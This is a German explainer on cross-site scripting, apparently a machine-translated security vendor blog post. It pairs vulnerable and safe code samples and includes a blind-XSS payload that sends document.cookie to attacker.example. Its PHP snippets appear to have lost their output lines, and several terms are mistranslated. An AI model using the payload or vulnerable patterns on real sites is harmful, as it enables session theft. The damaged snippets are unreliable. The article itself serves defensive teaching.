Cross-Site Scripting (XSS) ist eine Web-Schwachstelle, bei der ein Angreifer bösartigen Code, in der Regel JavaScript, in Webseiten einschleust, die andere Benutzer aufrufen. Der eingeschleuste Code wird im Browser des Opfers unter dem Kontext einer vertrauenswürdigen Website ausgeführt und ermöglicht es Angreifern, Cookies zu stehlen, Sitzungen zu entführen, Daten zu exfiltrieren oder Aktionen im Namen von Benutzern durchzuführen.
Warum XSS auch im Jahr 2025 ein globales Problem bleibt
XSS ist seit Jahrzehnten eine der häufigsten Sicherheitslücken im Web. Es wurde erstmals in den späten 1990er Jahren mit dem Aufkommen von dynamischen Inhalten und benutzergenerierten Eingaben auf Webplattformen bekannt.
Jüngste Umfragen bestätigen, dass XSS weiterhin Webanwendungen beeinträchtigt, insbesondere bei modernen Frameworks, APIs, dynamischem Rendering, Rich-Text-Inhalten und der Integration von Drittanbietern.
Jede Webanwendung, die Benutzereingaben - von Kommentaren bis hin zu JSON-APIs - ohne ordnungsgemäße Bereinigung oder Ausgabecodierung akzeptiert, ist gefährdet.
Beispiele für XSS-Verletzungen in der realen Welt
ERPNext / Frappe - CVE-2025-56379 Gespeicherte XSS
Im Jahr 2025 hat ERPNext/Frappe eine gespeicherte XSS-Schwachstelle in seinem Blog-Modul (Versionen 15.67.0 / 15.72.4) entdeckt. Authentifizierte Benutzer konnten bösartiges HTML/JavaScript in das Inhalt Feld. Die Nutzlast wurde in den Browsern der Nutzer ausgeführt, die den Blog-Beitrag betrachteten, wodurch das Risiko eines Session-Hijackings und eines Datendiebstahls bestand.
Dies zeigt, dass selbst gut gewartete Open-Source-Plattformen anfällig sind, wenn benutzergeneriertes HTML ohne angemessene Bereinigung gerendert wird.
Historischer Fall: Samy Worm auf MySpace (2005)
Der Samy-Wurm nutzte XSS in MySpace-Benutzerprofilen aus. Er verbreitete sich innerhalb von 20 Stunden auf über eine Million Profile und zeigte, wie sich XSS schnell verbreiten und Benutzersitzungen entführen kann.
Arten von XSS und Angriffsvektoren
XSS gibt es in mehreren Varianten:
| Typ | Beschreibung | Typischer Angriffsvektor |
|---|---|---|
| Reflektiertes XSS | Die Nutzlast wird sofort von der Anfrage zur Antwort reflektiert | URL-Parameter, Suchfelder |
| Gespeicherte XSS | Nutzdaten werden auf dem Server gespeichert und später ausgeführt | Kommentare, Blogs, Benutzerprofile |
| DOM-basiertes XSS | Client-seitige Skripte injizieren unsichere Inhalte | Einzelseitige Anwendungen, URL-Hash, JS-Vorlagen |
| Blind XSS | Nutzlast wird ohne unmittelbare Rückmeldung ausgeführt | Verwaltungs-Dashboards, Protokolle, E-Mails |
Moderne Angriffe umfassen auch polyglotte Nutzdaten, die Sanitizer umgehen und blinde XSS-Bedingungen auslösen können. (arxiv.org)
Folgen von XSS-Angriffen
- Session Hijacking & Kontoübernahme
- Unbefugte Handlungen / Benutzer-Identität
- Datendiebstahl / Offenlegung sensibler Informationen
- Verunstaltung, Phishing oder Social Engineering
- Anhaltende Verbreitung von Malware
Selbst kleine Webanwendungen sind gefährdet, wenn sie Benutzereingaben unsicher darstellen.
Beispiele für Angriff und Verteidigung
Beispiel 1 - Reflektiertes XSS (PHP + HTML)
Verwundbar:
php
<?php $search = $_GET['q'] ?? '';?><html> <body> <p>Suchergebnisse:</p> </body> </html>
Sicherere Version:
php
<?php $search = $_GET['q'] ?? '';$safe = htmlspecialchars($search, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');?><html> <body> <p>Suchergebnisse:</p> </body> </html>
Beispiel 2 - Gespeicherter XSS in Kommentaren (JavaScript + HTML)
Anfälliges Rendering:
html
<div class="comments"><p class="user-comment">{{comment_from_db}}</p></div>
Sicheres Rendering mit DOMPurify:
html
<script src="<https://unpkg.com/[email protected]/dist/purify.min.js>"></script><script> const raw = userCommentFromServer;const clean = DOMPurify.sanitize(raw);document.querySelector('.user-comment').innerHTML = clean;</script>
Beispiel 3 - DOM-basierter XSS über URL
Verwundbar:
javascript
const msg = document.getElementById('msg'); msg.innerHTML = location.hash.substring(1);
Sicher:
javascript
const msg = document.getElementById('msg'); msg.textContent = location.hash.substring(1);
Beispiel 4 - Blindes/verzögertes XSS
Angriffs-Nutzlast:
html
<img src="x" onerror="fetch('<https://attacker.example/p?c='+document.cookie>)">
Verteidigung:
- Benutzer-HTML-Eingaben auf der Serverseite säubern
- Strenge HTML-Tag/Attribut-Whitelist anwenden
- Durchsetzung der Inhaltssicherheitsrichtlinie (CSP)
pgsql
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'; frame-ancestors 'none';
Beispiel 5 - JSON API Injection (JavaScript)
Verwundbar:
javascript
fetch('/api/user/123') .then(res => res.json()) .then(data => {document.getElementById('username').innerHTML = data.username; });
Sicher:
javascript
fetch('/api/user/123') .then(res => res.json()) .then(data => {document.getElementById('username').textContent = data.username; });
Beispiel 6 - Template Injection (Python / Jinja2)
Verwundbar:
python
from jinja2 import Template user_input = "{{7*7}}"tpl = Template(user_input)print(tpl.render())
Sicher:
python
from jinja2.sandbox import SandboxedEnvironment env = SandboxedEnvironment() tpl = env.from_string(user_input)print(tpl.render())
Lektionen aus der realen Welt von GitHub (2018)
GitHub hatte ein gespeichertes XSS im Markdown-Rendering. Benutzer konnten JS-Code in README-Dateien einfügen; jeder Besucher, der die Repository-Seite öffnete, führte den Code aus. GitHub hat das Problem behoben, indem die Eingaben bereinigt und die zulässigen HTML-Tags eingeschränkt wurden. (GitHub Sicherheit)
Integration von XSS-Prävention in moderne Arbeitsabläufe
- Kodierung und Bereinigung von Ausgaben über alle Kontexte hinweg: HTML, JS, CSS, URL
- Moderne Desinfektionsmittel verwenden: DOMPurify, Server-seitige Escape-Bibliotheken, Template-Engines mit Auto-Escaping
- CSP anwenden: Inline-Skripte verhindern und Skriptquellen einschränken
- Automatisierte PrüfungStatische Analyse, dynamisches Scannen, Fuzzing, blinde XSS-Tests
- Manuelle Penetrationstests: Validierung komplexer oder mehrstufiger Injektionsvektoren
- Audit und Überwachung: Verdächtige Eingaben protokollieren, Inhalte von Administratoren und Dritten überprüfen, Code-Reviews durchsetzen
Penligent-Integration für automatisierte XSS-Tests
Moderne Sicherheitsteams können intelligente Penetrationstest-Plattformen nutzen, wie Sträflich um die XSS-Erkennung über mehrere Kontexte hinweg zu automatisieren:
- Kontinuierliche Überprüfung auf reflektierte, gespeicherte, DOM- und blinde XSS-Vektoren
- Automatisierte Nutzlastinjektion und -analyse
- Berichterstattung und Vorschläge für Abhilfemaßnahmen
- Integration in CI/CD-Pipelines für DevSecOps-Arbeitsabläufe
Mit Penligent können Teams den manuellen Aufwand reduzieren, die Abdeckung verbessern und einen kontinuierlichen Schutz vor sich entwickelnden XSS-Bedrohungen gewährleisten.
Zusammenfassung
- XSS ist trotz jahrzehntelanger Erfahrung nach wie vor eine der häufigsten Schwachstellen im Internet.
- Der Schutz erfordert mehrschichtige Maßnahmen: Verschlüsselung, Bereinigung, CSP, sichere APIs und kontinuierliche Tests.
- Die Kombination aus automatisierten und manuellen Tests bietet einen zuverlässigen Schutz, insbesondere bei modernen dynamischen Anwendungen.
- Intelligente Plattformen wie Sträflich kann die Sicherheitsabläufe verbessern und XSS proaktiv erkennen und abschwächen.
Referenzen
OWASP XSS-Prävention Spickzettel
